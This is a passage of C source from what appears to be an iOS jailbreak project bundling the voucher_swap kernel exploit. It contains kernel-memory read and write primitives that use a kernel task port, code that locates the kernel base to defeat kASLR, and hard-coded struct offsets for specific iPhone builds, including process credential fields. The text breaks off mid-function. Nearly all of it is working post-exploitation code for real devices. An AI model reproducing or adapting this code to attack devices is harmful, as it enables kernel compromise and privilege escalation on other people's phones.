--------------------------------------------------------------------------------
1 | /*
2 | * kernel_memory.c
3 | * Brandon Azad
4 | */
5 | #define KERNEL_MEMORY_EXTERN
6 | #include "kernel_memory.h"
7 |
8 | #include "log.h"
9 | #include "mach_vm.h"
10 | #include "parameters.h"
11 |
12 | // ---- Kernel memory functions -------------------------------------------------------------------
13 |
14 | bool
15 | kernel_read(uint64_t address, void *data, size_t size) {
16 | mach_vm_size_t size_out;
17 | kern_return_t kr = mach_vm_read_overwrite(kernel_task_port, address,
18 | size, (mach_vm_address_t) data, &size_out);
19 | if (kr != KERN_SUCCESS) {
20 | ERROR("%s returned %d: %s", "mach_vm_read_overwrite", kr, mach_error_string(kr));
21 | ERROR("could not %s address 0x%016llx", "read", address);
22 | return false;
23 | }
24 | if (size_out != size) {
25 | ERROR("partial read of address 0x%016llx: %llu of %zu bytes",
26 | address, size_out, size);
27 | return false;
28 | }
29 | return true;
30 | }
31 |
32 | bool
33 | kernel_write(uint64_t address, const void *data, size_t size) {
34 | kern_return_t kr = mach_vm_write(kernel_task_port, address,
35 | (mach_vm_address_t) data, (mach_msg_size_t) size);
36 | if (kr != KERN_SUCCESS) {
37 | ERROR("%s returned %d: %s", "mach_vm_write", kr, mach_error_string(kr));
38 | ERROR("could not %s address 0x%016llx", "write", address);
39 | return false;
40 | }
41 | return true;
42 | }
43 |
44 | uint8_t
45 | kernel_read8(uint64_t address) {
46 | uint8_t value;
47 | bool ok = kernel_read(address, &value, sizeof(value));
48 | if (!ok) {
49 | return -1;
50 | }
51 | return value;
52 | }
53 |
54 | uint16_t
55 | kernel_read16(uint64_t address) {
56 | uint16_t value;
57 | bool ok = kernel_read(address, &value, sizeof(value));
58 | if (!ok) {
59 | return -1;
60 | }
61 | return value;
62 | }
63 |
64 | uint32_t
65 | kernel_read32(uint64_t address) {
66 | uint32_t value;
67 | bool ok = kernel_read(address, &value, sizeof(value));
68 | if (!ok) {
69 | return -1;
70 | }
71 | return value;
72 | }
73 |
74 | uint64_t
75 | kernel_read64(uint64_t address) {
76 | uint64_t value;
77 | bool ok = kernel_read(address, &value, sizeof(value));
78 | if (!ok) {
79 | return -1;
80 | }
81 | return value;
82 | }
83 |
84 | bool
85 | kernel_write8(uint64_t address, uint8_t value) {
86 | return kernel_write(address, &value, sizeof(value));
87 | }
88 |
89 | bool
90 | kernel_write16(uint64_t address, uint16_t value) {
91 | return kernel_write(address, &value, sizeof(value));
92 | }
93 |
94 | bool
95 | kernel_write32(uint64_t address, uint32_t value) {
96 | return kernel_write(address, &value, sizeof(value));
97 | }
98 |
99 | bool
100 | kernel_write64(uint64_t address, uint64_t value) {
101 | return kernel_write(address, &value, sizeof(value));
102 | }
103 |
104 | // ---- Kernel utility functions ------------------------------------------------------------------
105 |
106 | bool
107 | kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
108 | uint64_t *ipc_port, uint64_t *ipc_entry) {
109 | // Get the task's ipc_space.
110 | uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space));
111 | // Get the size of the table.
112 | uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size));
113 | // Get the index of the port and check that it is in-bounds.
114 | uint32_t port_index = MACH_PORT_INDEX(port_name);
115 | if (port_index >= is_table_size) {
116 | return false;
117 | }
118 | // Get the space's is_table and compute the address of this port's entry.
119 | uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table));
120 | uint64_t entry = is_table + port_index * SIZE(ipc_entry);
121 | if (ipc_entry != NULL) {
122 | *ipc_entry = entry;
123 | }
124 | // Get the address of the port if requested.
125 | if (ipc_port != NULL) {
126 | *ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object));
127 | }
128 | return true;
129 | }
130 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_memory.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_memory.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_
6 | #define VOUCHER_SWAP__KERNEL_MEMORY_H_
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #ifdef KERNEL_MEMORY_EXTERN
14 | #define extern KERNEL_MEMORY_EXTERN
15 | #endif
16 |
17 | /*
18 | * kernel_task_port
19 | *
20 | * Description:
21 | * The kernel task port.
22 | */
23 | extern mach_port_t kernel_task_port;
24 |
25 | /*
26 | * kernel_task
27 | *
28 | * Description:
29 | * The address of the kernel_task in kernel memory.
30 | */
31 | extern uint64_t kernel_task;
32 |
33 | /*
34 | * current_task
35 | *
36 | * Description:
37 | * The address of the current task in kernel memory.
38 | */
39 | extern uint64_t current_task;
40 |
41 | /*
42 | * kernel_read
43 | *
44 | * Description:
45 | * Read data from kernel memory.
46 | */
47 | bool kernel_read(uint64_t address, void *data, size_t size);
48 |
49 | /*
50 | * kernel_write
51 | *
52 | * Description:
53 | * Write data to kernel memory.
54 | */
55 | bool kernel_write(uint64_t address, const void *data, size_t size);
56 |
57 | /*
58 | * kernel_read8
59 | *
60 | * Description:
61 | * Read a single byte from kernel memory. If the read fails, -1 is returned.
62 | */
63 | uint8_t kernel_read8(uint64_t address);
64 |
65 | /*
66 | * kernel_read16
67 | *
68 | * Description:
69 | * Read a 16-bit value from kernel memory. If the read fails, -1 is returned.
70 | */
71 | uint16_t kernel_read16(uint64_t address);
72 |
73 | /*
74 | * kernel_read32
75 | *
76 | * Description:
77 | * Read a 32-bit value from kernel memory. If the read fails, -1 is returned.
78 | */
79 | uint32_t kernel_read32(uint64_t address);
80 |
81 | /*
82 | * kernel_read64
83 | *
84 | * Description:
85 | * Read a 64-bit value from kernel memory. If the read fails, -1 is returned.
86 | */
87 | uint64_t kernel_read64(uint64_t address);
88 |
89 | /*
90 | * kernel_write8
91 | *
92 | * Description:
93 | * Write a single byte to kernel memory.
94 | */
95 | bool kernel_write8(uint64_t address, uint8_t value);
96 |
97 | /*
98 | * kernel_write16
99 | *
100 | * Description:
101 | * Write a 16-bit value to kernel memory.
102 | */
103 | bool kernel_write16(uint64_t address, uint16_t value);
104 |
105 | /*
106 | * kernel_write32
107 | *
108 | * Description:
109 | * Write a 32-bit value to kernel memory.
110 | */
111 | bool kernel_write32(uint64_t address, uint32_t value);
112 |
113 | /*
114 | * kernel_write64
115 | *
116 | * Description:
117 | * Write a 64-bit value to kernel memory.
118 | */
119 | bool kernel_write64(uint64_t address, uint64_t value);
120 |
121 | /*
122 | * kernel_ipc_port_lookup
123 | *
124 | * Description:
125 | * Get the address of the ipc_port and ipc_entry for a Mach port name.
126 | */
127 | bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
128 | uint64_t *ipc_port, uint64_t *ipc_entry);
129 |
130 | #undef extern
131 |
132 | #endif
133 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_slide.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_slide.c
3 | * Brandon Azad
4 | */
5 | #define KERNEL_SLIDE_EXTERN
6 | #include "kernel_slide.h"
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #include "kernel_memory.h"
13 | #include "log.h"
14 | #include "parameters.h"
15 | #include "platform.h"
16 |
17 | /*
18 | * is_kernel_base
19 | *
20 | * Description:
21 | * Checks if the given address is the kernel base.
22 | */
23 | static bool
24 | is_kernel_base(uint64_t base) {
25 | // Read the data at the base address as a Mach-O header.
26 | struct mach_header_64 header = {};
27 | bool ok = kernel_read(base, &header, sizeof(header));
28 | if (!ok) {
29 | return false;
30 | }
31 | // Validate that this looks like the kernel base. We don't check the CPU subtype since it
32 | // may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1,
33 | // header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is
34 | // CPU_SUBTYPE_ARM64_V8).
35 | if (!(header.magic == MH_MAGIC_64
36 | && header.cputype == platform.cpu_type
37 | && header.filetype == MH_EXECUTE
38 | && header.ncmds > 2)) {
39 | return false;
40 | }
41 | return true;
42 | }
43 |
44 | bool
45 | kernel_slide_init() {
46 | if (kernel_slide != 0) {
47 | return true;
48 | }
49 | // Get the address of the host port.
50 | mach_port_t host = mach_host_self();
51 | assert(MACH_PORT_VALID(host));
52 | uint64_t host_port;
53 | bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL);
54 | mach_port_deallocate(mach_task_self(), host);
55 | if (!ok) {
56 | ERROR("could not lookup host port");
57 | return false;
58 | }
59 | // Get the address of realhost.
60 | uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject));
61 | return kernel_slide_init_with_kernel_image_address(realhost);
62 | }
63 |
64 | bool
65 | kernel_slide_init_with_kernel_image_address(uint64_t address) {
66 | if (kernel_slide != 0) {
67 | return true;
68 | }
69 | // Find the highest possible kernel base address that could still correspond to the given
70 | // kernel image address.
71 | uint64_t base = STATIC_ADDRESS(kernel_base);
72 | assert(address > base);
73 | base = base + ((address - base) / kernel_slide_step) * kernel_slide_step;
74 | // Now walk backwards from that kernel base one kernel slide at a time until we find the
75 | // real kernel base.
76 | while (base > STATIC_ADDRESS(kernel_base)) {
77 | bool found = is_kernel_base(base);
78 | if (found) {
79 | kernel_slide = base - STATIC_ADDRESS(kernel_base);
80 | DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide);
81 | return true;
82 | }
83 | base -= kernel_slide_step;
84 | }
85 | ERROR("could not find kernel base");
86 | ERROR("could not determine kernel slide");
87 | return false;
88 | }
89 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_slide.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_slide.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_
6 | #define VOUCHER_SWAP__KERNEL_SLIDE_H_
7 |
8 | #include
9 | #include
10 |
11 | #ifdef KERNEL_SLIDE_EXTERN
12 | #define extern KERNEL_SLIDE_EXTERN
13 | #endif
14 |
15 | /*
16 | * kernel_slide
17 | *
18 | * Description:
19 | * The kASLR slide.
20 | */
21 | extern uint64_t kernel_slide;
22 |
23 | /*
24 | * kernel_slide_init
25 | *
26 | * Description:
27 | * Find the value of the kernel slide using kernel_read() and current_task.
28 | */
29 | bool kernel_slide_init(void);
30 |
31 | /*
32 | * kernel_slide_init_with_kernel_image_address
33 | *
34 | * Description:
35 | * Find the value of the kernel slide using kernel_read(), starting with an address that is
36 | * known to reside within the kernel image.
37 | */
38 | bool kernel_slide_init_with_kernel_image_address(uint64_t address);
39 |
40 | #undef extern
41 |
42 | #endif
43 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/log.c:
--------------------------------------------------------------------------------
1 | /*
2 | * log.c
3 | * Brandon Azad
4 | */
5 | #include "log.h"
6 |
7 | #include
8 | #include
9 | #include
10 |
11 | void
12 | log_internal(char type, const char *format, ...) {
13 | if (log_implementation != NULL) {
14 | va_list ap;
15 | va_start(ap, format);
16 | log_implementation(type, format, ap);
17 | va_end(ap);
18 | }
19 | }
20 |
21 | // The default logging implementation prints to stderr with a nice hacker prefix.
22 | static void
23 | log_stderr(char type, const char *format, va_list ap) {
24 | char *message = NULL;
25 | vasprintf(&message, format, ap);
26 | assert(message != NULL);
27 | switch (type) {
28 | case 'D': type = 'D'; break;
29 | case 'I': type = '+'; break;
30 | case 'W': type = '!'; break;
31 | case 'E': type = '-'; break;
32 | }
33 | fprintf(stderr, "[%c] %s\n", type, message);
34 | free(message);
35 | }
36 |
37 | void (*log_implementation)(char type, const char *format, va_list ap) = log_stderr;
38 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/log.h:
--------------------------------------------------------------------------------
1 | /*
2 | * log.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__LOG_H_
6 | #define VOUCHER_SWAP__LOG_H_
7 |
8 | #include
9 | #include
10 |
11 | /*
12 | * log_implementation
13 | *
14 | * Description:
15 | * This is the log handler that will be executed when code wants to log a message. The default
16 | * implementation logs the message to stderr. Setting this value to NULL will disable all
17 | * logging. Specify a custom log handler to process log messages in another way.
18 | *
19 | * Parameters:
20 | * type A character representing the type of message that is being
21 | * logged.
22 | * format A printf-style format string describing the error message.
23 | * ap The variadic argument list for the format string.
24 | *
25 | * Log Type:
26 | * The type parameter is one of:
27 | * - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug
28 | * verbosity.
29 | * - I: Info: Used to convey general information about the exploit or its progress.
30 | * - W: Warning: Used to indicate that an unusual but possibly recoverable condition was
31 | * encountered.
32 | * - E: Error: Used to indicate that an unrecoverable error was encountered. The code
33 | * might continue running after an error was encountered, but it probably will
34 | * not succeed.
35 | */
36 | extern void (*log_implementation)(char type, const char *format, va_list ap);
37 |
38 | #define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG)
39 |
40 | #if DEBUG
41 | #define DEBUG_TRACE(level, fmt, ...) \
42 | do { \
43 | if (DEBUG_LEVEL(level)) { \
44 | log_internal('D', fmt, ##__VA_ARGS__); \
45 | } \
46 | } while (0)
47 | #else
48 | #define DEBUG_TRACE(level, fmt, ...) do {} while (0)
49 | #endif
50 | #define INFO(fmt, ...) log_internal('I', fmt, ##__VA_ARGS__)
51 | #define WARNING(fmt, ...) log_internal('W', fmt, ##__VA_ARGS__)
52 | #define ERROR(fmt, ...) log_internal('E', fmt, ##__VA_ARGS__)
53 |
54 | // A function to call the logging implementation.
55 | void log_internal(char type, const char *format, ...) __printflike(2, 3);
56 |
57 | #endif
58 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/parameters.c:
--------------------------------------------------------------------------------
1 | /*
2 | * parameters.c
3 | * Brandon Azad
4 | */
5 | #define PARAMETERS_EXTERN
6 | #include "parameters.h"
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 |
14 | #include "log.h"
15 | #include "platform.h"
16 | #include "platform_match.h"
17 |
18 | // ---- Initialization routines -------------------------------------------------------------------
19 |
20 | // A struct describing an initialization.
21 | struct initialization {
22 | const char *devices;
23 | const char *builds;
24 | void (*init)(void);
25 | };
26 |
27 | // Run initializations matching this platform.
28 | static size_t
29 | run_initializations(struct initialization *inits, size_t count) {
30 | size_t match_count = 0;
31 | for (size_t i = 0; i < count; i++) {
32 | struct initialization *init = &inits[i];
33 | if (platform_matches(init->devices, init->builds)) {
34 | init->init();
35 | match_count++;
36 | }
37 | }
38 | return match_count;
39 | }
40 |
41 | // A helper macro to get the number of elements in a static array.
42 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
43 |
44 | // ---- General system parameters -----------------------------------------------------------------
45 |
46 | // Initialization for general system parameters.
47 | static void
48 | init__system_parameters() {
49 | STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000;
50 | kernel_slide_step = 0x200000;
51 | message_size_for_kmsg_zone = 76;
52 | kmsg_zone_size = 256;
53 | max_ool_ports_per_message = 16382;
54 | gc_step = 2 * MB;
55 | }
56 |
57 | // A list of general system parameter initializations by platform.
58 | static struct initialization system_parameters[] = {
59 | { "*", "*", init__system_parameters },
60 | };
61 |
62 | // ---- Offset initialization ---------------------------------------------------------------------
63 |
64 | // Initialization for iPhone11,8 16C50 (and similar devices).
65 | static void
66 | offsets__iphone11_8__16C50() {
67 | SIZE(ipc_entry) = 0x18;
68 | OFFSET(ipc_entry, ie_object) = 0;
69 | OFFSET(ipc_entry, ie_bits) = 8;
70 | OFFSET(ipc_entry, ie_request) = 16;
71 |
72 | SIZE(ipc_port) = 0xa8;
73 | BLOCK_SIZE(ipc_port) = 0x4000;
74 | OFFSET(ipc_port, ip_bits) = 0;
75 | OFFSET(ipc_port, ip_references) = 4;
76 | OFFSET(ipc_port, waitq_flags) = 24;
77 | OFFSET(ipc_port, imq_messages) = 64;
78 | OFFSET(ipc_port, imq_msgcount) = 80;
79 | OFFSET(ipc_port, imq_qlimit) = 82;
80 | OFFSET(ipc_port, ip_receiver) = 96;
81 | OFFSET(ipc_port, ip_kobject) = 104;
82 | OFFSET(ipc_port, ip_nsrequest) = 112;
83 | OFFSET(ipc_port, ip_requests) = 128;
84 | OFFSET(ipc_port, ip_mscount) = 156;
85 | OFFSET(ipc_port, ip_srights) = 160;
86 |
87 | SIZE(ipc_port_request) = 0x10;
88 | OFFSET(ipc_port_request, ipr_soright) = 0;
89 |
90 | OFFSET(ipc_space, is_table_size) = 0x14;
91 | OFFSET(ipc_space, is_table) = 0x20;
92 |
93 | SIZE(ipc_voucher) = 0x50;
94 | BLOCK_SIZE(ipc_voucher) = 0x4000;
95 |
96 | OFFSET(proc, p_pid) = 0x60;
97 | OFFSET(proc, p_ucred) = 0xf8;
98 |
99 | SIZE(sysctl_oid) = 0x50;
100 | OFFSET(sysctl_oid, oid_parent) = 0x0;
101 | OFFSET(sysctl_oid, oid_link) = 0x8;
102 | OFFSET(sysctl_oid, oid_kind) = 0x14;
103 | OFFSET(sysctl_oid, oid_handler) = 0x30;
104 | OFFSET(sysctl_oid, oid_version) = 0x48;
105 | OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
106 |
107 | OFFSET(task, lck_mtx_type) = 0xb;
108 | OFFSET(task, ref_count) = 0x10;
109 | OFFSET(task, active) = 0x14;
110 | OFFSET(task, map) = 0x20;
111 | OFFSET(task, itk_space) = 0x300;
112 | OFFSET(task, bsd_info) = 0x368;
113 | }
114 |
115 | // Initialization for iPhone10,1 16B92 (and similar devices).
116 | static void
117 | offsets__iphone10_1__16B92() {
118 | offsets__iphone11_8__16C50();
119 |
120 | OFFSET(task, bsd_info) = 0x358;
121 | }
122 |
123 | // Initialize offset parameters whose values are computed from other parameters.
124 | static void
125 | initialize_computed_offsets() {
126 | COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port);
127 | COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher);
128 | }
129 |
130 | // A list of offset initializations by platform.
131 | static struct initialization offsets[] = {
132 | { "iPhone11,*", "16A366-16C104", offsets__iphone11_8__16C50 },
133 | { "iPhone10,1", "16A366-16C101", offsets__iphone10_1__16B92 },
134 | { "*", "*", offsets__iphone10_1__16B92 },
135 | { "*", "*", initialize_computed_offsets },
136 | };
137 |
138 | // The minimum number of offsets that must match in order to declare a platform initialized.
139 | static const size_t min_offsets = 2;
140 |
141 | // ---- Public API --------------------------------------------------------------------------------
142 |
143 | bool
144 | parameters_init() {
145 | // Get general platform info.
146 | platform_init();
147 | // Initialize general system parameters.
148 | run_initializations(system_parameters, ARRAY_COUNT(system_parameters));
149 | // Initialize offsets.
150 | size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
151 | if (count < min_offsets) {
152 | ERROR("no offsets for %s %s", platform.machine, platform.osversion);
153 | return false;
154 | }
155 | return true;
156 | }
157 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/parameters.h:
--------------------------------------------------------------------------------
1 | /*
2 | * parameters.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__PARAMETERS_H_
6 | #define VOUCHER_SWAP__PARAMETERS_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #ifdef PARAMETERS_EXTERN
13 | #define extern PARAMETERS_EXTERN
14 | #endif
15 |
16 | // Some helpful units.
17 | #define KB (1024uLL)
18 | #define MB (1024uLL * KB)
19 | #define GB (1024uLL * MB)
20 |
21 | // Generate the name for an offset.
22 | #define OFFSET(base_, object_) _##base_##__##object_##__offset_
23 |
24 | // Generate the name for the size of an object.
25 | #define SIZE(object_) _##object_##__size_
26 |
27 | // Generate the name for the size of a zalloc block of objects.
28 | #define BLOCK_SIZE(object_) _##object_##__block_size_
29 |
30 | // Generate the name for the number of elements in a zalloc block.
31 | #define COUNT_PER_BLOCK(object_) _##object_##__per_block_
32 |
33 | // Generate the name for the address of an object.
34 | #define ADDRESS(object_) _##object_##__address_
35 |
36 | // Generate the name for the static (unslid) address of an object.
37 | #define STATIC_ADDRESS(object_) _##object_##__static_address_
38 |
39 | // A convenience macro for accessing a field of a structure.
40 | #define FIELD(object_, struct_, field_, type_) \
41 | ( *(type_ *) ( ((uint8_t *) object_) + OFFSET(struct_, field_) ) )
42 |
43 | // The static base address of the kernel.
44 | extern uint64_t STATIC_ADDRESS(kernel_base);
45 |
46 | // The kernel_slide granularity.
47 | extern uint64_t kernel_slide_step;
48 |
49 | // Messages up to this size are allocated from the dedicated ipc.kmsgs zone.
50 | extern size_t message_size_for_kmsg_zone;
51 |
52 | // The size of elements in ipc.kmsgs.
53 | extern size_t kmsg_zone_size;
54 |
55 | // The maximum number of OOL ports in a single message.
56 | extern size_t max_ool_ports_per_message;
57 |
58 | // How much to allocate between sleeps while trying to trigger garbage collection.
59 | extern size_t gc_step;
60 |
61 | // Parameters for ipc_entry.
62 | extern size_t SIZE(ipc_entry);
63 | extern size_t OFFSET(ipc_entry, ie_object);
64 | extern size_t OFFSET(ipc_entry, ie_bits);
65 | extern size_t OFFSET(ipc_entry, ie_request);
66 |
67 | // Parameters for ipc_port.
68 | extern size_t SIZE(ipc_port);
69 | extern size_t BLOCK_SIZE(ipc_port);
70 | extern size_t COUNT_PER_BLOCK(ipc_port);
71 | extern size_t OFFSET(ipc_port, ip_bits);
72 | extern size_t OFFSET(ipc_port, ip_references);
73 | extern size_t OFFSET(ipc_port, waitq_flags);
74 | extern size_t OFFSET(ipc_port, imq_messages);
75 | extern size_t OFFSET(ipc_port, imq_msgcount);
76 | extern size_t OFFSET(ipc_port, imq_qlimit);
77 | extern size_t OFFSET(ipc_port, ip_receiver);
78 | extern size_t OFFSET(ipc_port, ip_kobject);
79 | extern size_t OFFSET(ipc_port, ip_nsrequest);
80 | extern size_t OFFSET(ipc_port, ip_requests);
81 | extern size_t OFFSET(ipc_port, ip_mscount);
82 | extern size_t OFFSET(ipc_port, ip_srights);
83 |
84 | // Parameters for ipc_port_request.
85 | extern size_t SIZE(ipc_port_request);
86 | extern size_t OFFSET(ipc_port_request, ipr_soright);
87 |
88 | // Parameters for struct ipc_space.
89 | extern size_t OFFSET(ipc_space, is_table_size);
90 | extern size_t OFFSET(ipc_space, is_table);
91 |
92 | // Parameters for ipc_voucher.
93 | extern size_t SIZE(ipc_voucher);
94 | extern size_t BLOCK_SIZE(ipc_voucher);
95 | extern size_t COUNT_PER_BLOCK(ipc_voucher);
96 |
97 | // Parameters for struct proc.
98 | extern size_t OFFSET(proc, p_pid);
99 | extern size_t OFFSET(proc, p_ucred);
100 |
101 | // Parameters for struct sysctl_oid.
102 | extern size_t SIZE(sysctl_oid);
103 | extern size_t OFFSET(sysctl_oid, oid_parent);
104 | extern size_t OFFSET(sysctl_oid, oid_link);
105 | extern size_t OFFSET(sysctl_oid, oid_kind);
106 | extern size_t OFFSET(sysctl_oid, oid_handler);
107 | extern size_t OFFSET(sysctl_oid, oid_version);
108 | extern size_t OFFSET(sysctl_oid, oid_refcnt);
109 |
110 | // Parameters for struct task.
111 | extern size_t OFFSET(task, lck_mtx_type);
112 | extern size_t OFFSET(task, ref_count);
113 | extern size_t OFFSET(task, active);
114 | extern size_t OFFSET(task, map);
115 | extern size_t OFFSET(task, itk_space);
116 | extern size_t OFFSET(task, bsd_info);
117 |
118 | /*
119 | * parameters_init
120 | *
121 | * Description:
122 | * Initialize the parameters for the system.
123 | */
124 | bool parameters_init(void);
125 |
126 | #undef extern
127 |
128 | #endif
129 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/platform.c:
--------------------------------------------------------------------------------
1 | /*
2 | * platform.c
3 | * Brandon Azad
4 | */
5 | #define PLATFORM_EXTERN
6 | #include "platform.h"
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #include "log.h"
14 |
15 | // ---- Initialization ----------------------------------------------------------------------------
16 |
17 | void
18 | platform_init() {
19 | // Only initialize once.
20 | static bool initialized = false;
21 | if (initialized) {
22 | return;
23 | }
24 | initialized = true;
25 | // Set the page size.
26 | platform.page_size = vm_kernel_page_size;
27 | page_size = platform.page_size;
28 | // Get the machine name (e.g. iPhone11,8).
29 | struct utsname u = {};
30 | int error = uname(&u);
31 | assert(error == 0);
32 | strncpy((char *)platform.machine, u.machine, sizeof(platform.machine));
33 | // Get the build (e.g. 16C50).
34 | size_t osversion_size = sizeof(platform.osversion);
35 | error = sysctlbyname("kern.osversion",
36 | (void *)platform.osversion, &osversion_size, NULL, 0);
37 | assert(error == 0);
38 | // Get basic host info.
39 | mach_port_t host = mach_host_self();
40 | assert(MACH_PORT_VALID(host));
41 | host_basic_info_data_t basic_info;
42 | mach_msg_type_number_t count = HOST_BASIC_INFO_COUNT;
43 | kern_return_t kr = host_info(host, HOST_BASIC_INFO, (host_info_t) &basic_info, &count);
44 | assert(kr == KERN_SUCCESS);
45 | platform.cpu_type = basic_info.cpu_type;
46 | platform.cpu_subtype = basic_info.cpu_subtype;
47 | platform.physical_cpu = basic_info.physical_cpu;
48 | platform.logical_cpu = basic_info.logical_cpu;
49 | platform.memory_size = basic_info.max_mem;
50 | mach_port_deallocate(mach_task_self(), host);
51 | DEBUG_TRACE(1, "platform: %s %s", platform.machine, platform.osversion);
52 | }
53 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/platform.h:
--------------------------------------------------------------------------------
1 | /*
2 | * platform.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__PLATFORM_H_
6 | #define VOUCHER_SWAP__PLATFORM_H_
7 |
8 | #include
9 | #include
10 |
11 | #ifdef PLATFORM_EXTERN
12 | #define extern PLATFORM_EXTERN
13 | #endif
14 |
15 | /*
16 | * platform
17 | *
18 | * Description:
19 | * Basic information about the platform.
20 | */
21 | struct platform {
22 | /*
23 | * platform.machine
24 | *
25 | * Description:
26 | * The name of the platform, e.g. iPhone11,8.
27 | */
28 | const char machine[32];
29 | /*
30 | * platform.osversion
31 | *
32 | * Description:
33 | * The version of the OS build, e.g. 16C50.
34 | */
35 | const char osversion[32];
36 | /*
37 | * platform.cpu_type
38 | *
39 | * Description:
40 | * The platform CPU type.
41 | */
42 | cpu_type_t cpu_type;
43 | /*
44 | * platform.cpu_subtype
45 | *
46 | * Description:
47 | * The platform CPU subtype.
48 | */
49 | cpu_subtype_t cpu_subtype;
50 | /*
51 | * platform.physical_cpu
52 | *
53 | * Description:
54 | * The number of physical CPU cores.
55 | */
56 | unsigned physical_cpu;
57 | /*
58 | * platform.logical_cpu
59 | *
60 | * Description:
61 | * The number of logical CPU cores.
62 | */
63 | unsigned logical_cpu;
64 | /*
65 | * platform.page_size
66 | *
67 | * Description:
68 | * The kernel page size.
69 | */
70 | size_t page_size;
71 | /*
72 | * platform.memory_size
73 | *
74 | * Description:
75 | * The size of physical memory on the device.
76 | */
77 | size_t memory_size;
78 | };
79 | extern struct platform platform;
80 |
81 | /*
82 | * page_size
83 | *
84 | * Description:
85 | * The kernel page size on this platform, made available globally for convenience.
86 | */
87 | extern size_t page_size;
88 |
89 | /*
90 | * platform_init
91 | *
92 | * Description:
93 | * Initialize the platform.
94 | */
95 | void platform_init(void);
96 |
97 | #undef extern
98 |
99 | #endif
100 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/platform_match.c:
--------------------------------------------------------------------------------
1 | /*
2 | * platform_match.c
3 | * Brandon Azad
4 | */
5 | #include "platform_match.h"
6 |
7 | #include
8 | #include
9 |
10 | #include "log.h"
11 | #include "platform.h"
12 |
13 | // ---- Matching helper functions -----------------------------------------------------------------
14 |
15 | // Advance past any spaces in a string.
16 | static void
17 | skip_spaces(const char **p) {
18 | const char *pch = *p;
19 | while (*pch == ' ') {
20 | pch++;
21 | }
22 | *p = pch;
23 | }
24 |
25 | // ---- Device matching ---------------------------------------------------------------------------
26 |
27 | // A wildcard device version number.
28 | #define ANY ((unsigned)(-1))
29 |
30 | // Parse the version part of a device string.
31 | static bool
32 | parse_device_version_internal(const char *device_version, unsigned *major, unsigned *minor,
33 | bool allow_wildcard, const char **end) {
34 | const char *p = device_version;
35 | // Parse the major version, which might be a wildcard.
36 | unsigned maj = 0;
37 | if (allow_wildcard && *p == '*') {
38 | maj = ANY;
39 | p++;
40 | } else {
41 | for (;;) {
42 | char ch = *p;
43 | if (ch < '0' || '9' < ch) {
44 | break;
45 | }
46 | maj = maj * 10 + (ch - '0');
47 | p++;
48 | }
49 | }
50 | // Make sure we got the comma.
51 | if (*p != ',') {
52 | return false;
53 | }
54 | p++;
55 | // Parse the minor version, which might be a wildcard.
56 | unsigned min = 0;
57 | if (allow_wildcard && *p == '*') {
58 | min = ANY;
59 | p++;
60 | } else {
61 | for (;;) {
62 | char ch = *p;
63 | if (ch < '0' || '9' < ch) {
64 | break;
65 | }
66 | min = min * 10 + (ch - '0');
67 | p++;
68 | }
69 | }
70 | // If end is NULL, then require that we're at the end of the string. Else, return the end
71 | // of what we parsed.
72 | if (end == NULL) {
73 | if (*p != 0) {
74 | return false;
75 | }
76 | } else {
77 | *end = p;
78 | }
79 | // Return the values.
80 | *major = maj;
81 | *minor = min;
82 | return true;
83 | }
84 |
85 | // Parse a device name.
86 | static bool
87 | parse_device_internal(const char *device, char *device_type, unsigned *major, unsigned *minor,
88 | bool allow_wildcard, const char **end) {
89 | // "iPhone11,8" -> "iPhone", 11, 8; "iPad7,*" -> "iPad", 7, ANY
90 | // If this device name doesn't have a comma then we don't know how to parse it. Just set
91 | // the whole thing as the device type.
92 | const char *comma = strchr(device, ',');
93 | if (comma == NULL) {
